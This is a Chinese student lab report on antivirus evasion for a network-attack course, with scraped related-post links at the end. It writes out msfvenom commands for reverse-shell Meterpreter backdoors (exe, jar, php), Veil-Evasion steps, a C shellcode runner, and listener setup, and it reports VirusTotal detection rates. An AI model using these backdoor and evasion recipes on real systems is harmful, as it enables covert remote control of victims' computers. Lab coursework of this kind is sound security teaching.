2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
目录
实验要求
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1.5分)
通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实验环境
- macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):
- Windows 7 - 64bit(IP为
10.211.55.13) - Kali Linux - 64bit(IP为
10.211.55.10)
- Windows 7 - 64bit(IP为
- 杀软:腾讯电脑管家(版本12.13.19475.203)

预备知识
杀软是如何检测出恶意代码的?
- 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
免杀是做什么?
- 免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
- 改变特征码
实验步骤
1 免杀效果实测
1.1 恶意代码生成工具
恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。
对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。
在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。
1.2 免杀效果的评价
1.2.1 VirusTotal、Virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
https://www.virustotal.com/,最近奇慢,原因不明。
http://www.virscan.org/ 国内的类似virtustotal
1.2.2 免杀效果参考基准
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
| 序号 | 免杀方式 | 可用性测试 | 测试主机OS/AV | VirusTotal | VirScan |
|---|---|---|---|---|---|
| 1 | msfvenom直接生成 | 关闭杀软可用 | Win7_64+MSSE | 46/57 | 16/39 |
| 2 | msfvenom 编码一次 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 15/39 |
| 2 | msfvenom 多次编码 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 16/39 |
| 2 | Veil-evasion | 开启杀软可用 | Win7_64+MSSE | 19/58 | 5/39 |
| 2 | C+shellcode | 开启杀软可用 | Win10+腾讯管家/Bitdefender | 1/39 | |
| 2 | UPX压缩壳 | 40/57 | 17/39 | ||
| 2 | Hyperion | 18/57 | 8/39 | ||
| ... | ... |
1.3 Msfvenom
1.3.1 Msfvenom使用编码器
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
直接输入命令
msfvenom即可查看相关用法:
编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
还是8个引擎报毒啊!这招不好使!
1.3.2 Msfvenom生成jar等其他文件
- 用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar生成.jar文件:
- 用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php生成php文件(可用于网页挂马):
1.4 Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
- 用
sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get update和sudo apt-get upgrade这两个命令更新一下软件包即可: - 之后用
veil命令打开Veil,输入y继续安装直至完成,之间可能等待较长时间:


- 用
use evasion命令进入Evil-Evasion:

- 输入命令
use c/meterpreter/rev_tcp.py进入配置界面,先设置输出.exe文件名:

- 用
set LHOST kali-ip命令设置ip,用set LPORT PORT命令设置端口号:

- 再用
generate命令生成.exe文件:
如图所示,保存路径为:/var/lib/veil/output/compiled/20155314.exe - 先上传至Virscan试试水?
打广告???冤枉啊(我喂自己袋盐!!!)那就改成5314.exe吧~ - 用实验二所学知识将后门
5314.exe传到Windows 7并尝试回连:- Windows下用命令行进入ncat目录,输入命令
ncat.exe -lv 5314 > 5314.exe打开监听; - Kali下输入命令
ncat -nv 10.211.55.13 5314 < 5314.exe发送后门到Windows:
如下图,发送成功:
- 在Kali中输入
msfconsole命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //此处仍然为Linux的IP
set LPORT 5314
exploit

- Windows进入ncat目录下找到刚刚传过去的后门并双击运行5314.exe,此时win7上的杀软——**腾讯电脑管家**终于坐不住了,直接强制给它隔离并弹窗警告⚠️!!!

- 实验需要,我们选择给它加入信任区(平时可不敢这么干啊( ̄∇ ̄)): - Windows下用命令行进入ncat目录,输入命令
" width="100%" />
重新双击后门,发现已经可以回连:
调摄像头什么的上回玩腻了,这次就不再玩了( ̄∇ ̄)~
- 分别上传至Virscan和VirusTotal上测测看:
- Virscan扫描结果如下:


emmmm似乎感觉有些良好?别得意的太早! - VirusTotal扫描结果如下:

什么?竟然沦陷了半壁江山?!讽刺的是对比Virscan扫描结果,发现同样的几款杀毒引擎竟然一个报毒另一个安全???这不科学啊(>﹏<)
- Virscan扫描结果如下:
1.5 C语言调用Shellcode
1.5.1 Linux平台交叉编译Windows应用
- 使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c生成一个c语言格式的shellcode数组:
- 把上面的数组拿来编写一个程序,用
vim 5314shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数:int main()
{
int (*func)() = (int(*)())buf;
func();
}

- 再用
i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe命令生成可执行文件:
- 将后门
5314shellcode.exe传到Windows 7并尝试回连:- win7下输入
ncat.exe -lv 5314 > 5314shellcode.exe; - Kali下输入
ncat -nv 10.211.55.13 5314 < 5314shellcode.exe; - Kali下输入msfconsole相关命令;
- win7下打开
5314shellcode.exe——

妈嗨!被腾讯电脑管家查杀了QAQ!后门太low了没办法找回呗……重新打开后门:

这.....崩了?ಠ_ಠ
不过貌似不影响回连的成功嘿嘿:

- win7下输入
- 最后战战兢兢地上传至virscan.org(>﹏<):

呃啊效果似乎还不咋样啊2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- 无法初始化 PowerShell 主机解决方案
Question无法初始化 PowerShell 主机.如果您的 PowerShell 执行策略设置设为 AllSigned,请先打开程序包管理器控制台以初始化该主机. --------------- ...
- Windows环境使用Nexus-3.x搭建Maven私服
[前言] 本文主要讲解在Wiindows环境下搭建最新出的Nexus 3.x私服. 1.搭建私服的必要性 一般情况下,各个公司的开发团队为了提高开发效率,都会使用项目构建工具进行开发.常见的构建工具有 ...
- babel-polyfill的引用和使用
前两天一个首页项目,想用vue玩耍一下,就用vue-cli搭建了一套vue的开发框架 完成开发.联调和上线后,问题来了 chrome.ff浏览器下都能正常显示的页面,在百度浏览器下愣就显示不出来了 我 ...
- webpack4 系列教程(四): 单页面解决方案--代码分割和懒加载
本节课讲解webpack4打包单页应用过程中的代码分割和代码懒加载.不同于多页面应用的提取公共代码,单页面的代码分割和懒加载不是通过webpack配置来实现的,而是通过webpack的写法和内置函数实 ...
- python2&python3
1.Python3 使用 print 必须要以小括号包裹打印内容,比如 print('hi') Python2 既可以使用带小括号的方式,也可以使用一个空格来分隔打印内容,比如 print 'hi ...
- 共用的h5回调页面
产生背景: APP里的公用页面,像帮助中心页.授权认证结果页.各种协议页面,都需要做成H5页面,方便安卓和ios去调用. 交互情况描述: 要是有动态值,就需要定义在自己H5链接的后面,让他们传值,自己 ...
- 【读书笔记】iOS-Web应用程序的自动化测试
seleniumHQ:https://github.com/seleniumhq/selenium Appium:https://github.com/appium/appium 参考资料:<i ...
- git基础介绍
git基础介绍 这是git操作的基础篇,是以前的写的操作文档,就没有进行手打,直接把图片贴进来了,你们担待哈,有不正确的地方可以指正出来,我将在第一时间去修改,多谢哈! 一.文件状态:git系统的文件 ...
- (后台)详细了解java中的null(转)
转自CSDN: 相信大家对于NullPointException 这个让人又爱又恨的不陌生吧..对于Java程序员来说,null是令人头痛的东西.时常会受到空指针异常(NPE)的骚扰 .今天我们就来谈 ...
- python网络编程:socketserver的基本使用
本文内容: socketserver的介绍 socketserver的使用 socketserver的异步服务端 首发时间:2018-03-21 也可以使用socketserver来创建socket ...
- 20145215《网络对抗》Exp3 免杀原理与实践